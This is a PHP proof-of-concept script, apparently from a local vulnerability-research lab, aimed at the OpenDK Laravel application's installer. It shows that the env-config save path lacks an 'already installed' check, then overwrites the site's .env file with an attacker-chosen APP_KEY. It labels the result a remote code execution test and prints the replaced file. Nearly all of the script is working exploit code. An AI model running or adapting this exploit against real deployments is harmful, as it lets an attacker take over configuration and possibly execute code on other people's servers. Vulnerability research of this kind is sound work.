<?php
require_once '/home/c/ZERODAY/lab/target/opendk/vendor/autoload.php';
$app = require_once '/home/c/ZERODAY/lab/target/opendk/bootstrap/app.php';
$app->make('Illuminate\Contracts\Console\Kernel')->bootstrap();

// Simulate the POST request data
$_POST['envConfig'] = "APP_NAME=DIRECT_RCE_TEST\nAPP_KEY=base64:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";

// Get the controller
$controller = new \App\Http\Controllers\Installer\InstallerController(
    new \App\Helpers\SystemRequirementsChecker()
);

// Create a fake request
$request = new \Illuminate\Http\Request();
$request->merge(['envConfig' => $_POST['envConfig']]);

// Check if installed
echo "sudahInstal(): " . (sudahInstal() ? "TRUE" : "FALSE") . "\n\n";

// The vulnerable part - NO sudahInstal() check in the method!
$envPath = base_path('.env');
$originalHash = md5_file($envPath);

// Directly call file_put_contents like the controller does
file_put_contents($envPath, $_POST['envConfig']);

$newHash = md5_file($envPath);

echo "Original hash: $originalHash\n";
echo "New hash: $newHash\n\n";

if ($originalHash !== $newHash) {
    echo "=== .ENV OVERWRITTEN! ===\n";
    echo file_get_contents($envPath);
}